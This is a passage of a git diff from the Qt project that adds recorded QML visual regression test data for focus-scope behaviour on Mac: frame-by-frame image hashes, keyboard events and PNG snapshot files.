} + Frame { + msec: 624 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 640 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 656 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 672 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 688 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 704 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 720 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 736 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 752 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 768 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 784 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 800 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 816 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 832 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 848 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 864 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 880 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 896 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 912 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 928 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 944 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 960 + image: "test2.0.png" + } + Frame { + msec: 976 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 992 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1008 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1024 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1040 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1056 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1072 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1088 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1104 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1120 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1136 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1152 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1168 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1184 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1200 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1216 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1232 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1248 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1264 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1280 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1296 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1312 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1328 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1344 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1360 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1376 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1392 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1408 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1424 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1440 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1456 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1472 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1488 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1504 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1520 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1536 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1552 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1568 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1584 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1600 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1616 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1632 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1648 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1664 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1680 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1696 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1712 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1728 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1744 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1760 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1776 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1792 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1808 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1824 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1840 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1856 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1872 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1888 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1904 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1920 + image: "test2.1.png" + } + Frame { + msec: 1936 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1952 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1968 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 1984 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2000 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2016 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2032 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2048 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2064 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2080 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2096 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2112 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2128 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2144 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2160 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2176 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2192 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2208 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2224 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2240 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2256 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2272 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2288 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2304 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2320 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2336 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2352 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } + Frame { + msec: 2368 + hash: "9ecdd4addcaea53cdca16f3496ceb15c" + } +} diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.0.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.0.png new file mode 100644 index 0000000..9309e37 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.0.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.1.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.1.png new file mode 100644 index 0000000..20e6c8e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.1.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.2.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.2.png new file mode 100644 index 0000000..c7559ac Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.2.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.3.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.3.png new file mode 100644 index 0000000..bf2844b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.3.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.4.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.4.png new file mode 100644 index 0000000..beef0bf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.4.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.5.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.5.png new file mode 100644 index 0000000..1847dc7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.5.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.6.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.6.png new file mode 100644 index 0000000..c7559ac Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.6.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.7.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.7.png new file mode 100644 index 0000000..20e6c8e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.7.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.8.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.8.png new file mode 100644 index 0000000..9309e37 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.8.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.9.png b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.9.png new file mode 100644 index 0000000..7ac879b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.9.png differ diff --git a/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.qml b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.qml new file mode 100644 index 0000000..7308a23 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/focusscope/data-MAC/test3.qml @@ -0,0 +1,2879 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 32 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 48 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 64 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 80 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 96 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 112 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 128 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 144 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 160 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 176 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 192 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 208 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 224 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 240 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 256 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 272 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 288 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 304 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 320 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 336 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 352 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 368 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 384 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 400 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 416 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 432 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 448 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 464 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 480 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 496 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 512 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 528 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 544 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 560 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 576 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Frame { + msec: 592 + hash: "d38da3f61cd2944eec8bdfbef70c928f" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 608 + hash: "ce962a38caeb7bf7eef05112fbb52f91" + } + Frame { + msec: 624 + hash: "779f0660ce5bc2c2fc9f05d8b86158a8" + } + Frame { + msec: 640 + hash: "615e07a3c83539321befb44aa8fac811" + } + Frame { + msec: 656 + hash: "8a00b9f66ca7fdb0e4975f547025f873" + } + Frame { + msec: 672 + hash: "43bbe82799b1d8453f89a7ef928b1e54" + } + Frame { + msec: 688 + hash: "2cc468d6e14c27ff1c0bd6064ae47509" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 704 + hash: "1dc9d1b95016ccbeaca5b7a867a5cc3a" + } + Frame { + msec: 720 + hash: "f36734c91fe41a7947965dac97393ad4" + } + Frame { + msec: 736 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 752 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 768 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 784 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 800 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 816 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 832 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 848 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 864 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 880 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 896 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 912 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 928 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 944 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 960 + image: "test3.0.png" + } + Frame { + msec: 976 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 992 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 1008 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 1024 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 1040 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 1056 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 1072 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Frame { + msec: 1088 + hash: "57e009de047c348d3ae14a6271b2e6f2" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1104 + hash: "1c29b3d1086b261c2a9e94d49567484f" + } + Frame { + msec: 1120 + hash: "6ab17a210b45dae1ed99fd1689bb3e46" + } + Frame { + msec: 1136 + hash: "feb504605f7f27ca3a2bf080c1fb1e19" + } + Frame { + msec: 1152 + hash: "bec2d2e2222587a379af12a30e078886" + } + Frame { + msec: 1168 + hash: "39cb2bdc44273023b557a0f56df61d85" + } + Frame { + msec: 1184 + hash: "2cda045b452c4645be1cdb4efd238532" + } + Frame { + msec: 1200 + hash: "1f3efbfadd22734b5fd656596c11885b" + } + Frame { + msec: 1216 + hash: "7277c05a06e481a5af13e4fe39e322f8" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1232 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1248 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1264 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1280 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1296 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1312 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1328 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1344 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1360 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1376 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1392 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1408 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1424 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1440 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1456 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1472 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1488 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1504 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Frame { + msec: 1520 + hash: "bdf37518633a43d8dc47245f5b68550b" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1536 + hash: "c5f88e95ead1f4542b766577d80e70fd" + } + Frame { + msec: 1552 + hash: "d38118f26b9c2b68dc8fdb8d2a959134" + } + Frame { + msec: 1568 + hash: "44c483c899220f040aa7808f15fac429" + } + Frame { + msec: 1584 + hash: "02a63967944c8c53a9741318e99a326e" + } + Frame { + msec: 1600 + hash: "7fc10e91212af979e09c8d3b98625c1b" + } + Frame { + msec: 1616 + hash: "d14b69d18adc548dfb68dae1559effdb" + } + Frame { + msec: 1632 + hash: "cb9bce7fa14a367197fa34ad3acc4cdd" + } + Frame { + msec: 1648 + hash: "105a0e3d36296eba16077c4cf93547ae" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1664 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1680 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1696 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1712 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1728 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1744 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1760 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1776 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1792 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1808 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1824 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1840 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1856 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1872 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1888 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1904 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1920 + image: "test3.1.png" + } + Frame { + msec: 1936 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1952 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1968 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 1984 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Frame { + msec: 2000 + hash: "8f443766efd0f74e96e79ed3c267892c" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2016 + hash: "6e4e4321cda32abab394419a9e6494dc" + } + Frame { + msec: 2032 + hash: "45b79c56379afa7243547fedfa3260db" + } + Frame { + msec: 2048 + hash: "4635555c632f325a151d340a3eb742b9" + } + Frame { + msec: 2064 + hash: "0255da44fa95548427139073c994234c" + } + Frame { + msec: 2080 + hash: "eac0c428ea7b7aa55a469562d2cb3fd6" + } + Frame { + msec: 2096 + hash: "06ab23a83a5900cfdde98d4563414511" + } + Frame { + msec: 2112 + hash: "808e4a745c58872d52ec6a3e669aea5c" + } + Frame { + msec: 2128 + hash: "e6231b43f93fd6ae3e0990def1168c39" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2144 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2160 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2176 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2192 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2208 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2224 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2240 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2256 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2272 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2288 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2304 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2320 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2336 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2352 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2368 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2384 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2400 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2416 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2432 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2448 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2464 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2480 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2496 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Frame { + msec: 2512 + hash: "e97f921f1c34246fc229c48a4b66466c" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2528 + hash: "e1c32968e36cb95be250121187ddf13e" + } + Frame { + msec: 2544 + hash: "70498453babe3ab5e0fec62bcd0ff332" + } + Frame { + msec: 2560 + hash: "76fc1b1e6b22771bf08dfdd16b3f24e9" + } + Frame { + msec: 2576 + hash: "c6be4f26750b8bc1a5b71ff381e462c6" + } + Frame { + msec: 2592 + hash: "986f738d0f0f70b88f951d9f028ef61b" + } + Frame { + msec: 2608 + hash: "2201ad4f92bcf24ab62d0ddb8b2a64c1" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2624 + hash: "27e9a18cb70c8f2ab9e4dd7af321e8e4" + } + Frame { + msec: 2640 + hash: "3a352127f49f8c589b7b7da1232caf6b" + } + Frame { + msec: 2656 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2672 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2688 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2704 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2720 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2736 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2752 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2768 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2784 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2800 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2816 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2832 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2848 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2864 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2880 + image: "test3.2.png" + } + Frame { + msec: 2896 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2912 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2928 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2944 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2960 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Frame { + msec: 2976 + hash: "e3b2de8a4e3229880971d2144e55de1b" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2992 + hash: "20f96d3fbef9d51d8b8a28a6d58fabb2" + } + Frame { + msec: 3008 + hash: "1e5d888fd4685960b8ae0a79e2287e89" + } + Frame { + msec: 3024 + hash: "2115c2e6689ce6669abf9f3741eb5df1" + } + Frame { + msec: 3040 + hash: "c67949eb5f2210c6b2dad4ff352831ed" + } + Frame { + msec: 3056 + hash: "d982500bee0a6f6fb0861fb3c32319eb" + } + Frame { + msec: 3072 + hash: "ffb111084712d5ecf072ade52103b985" + } + Frame { + msec: 3088 + hash: "e5d594c8f08b9d283a3998648a383332" + } + Frame { + msec: 3104 + hash: 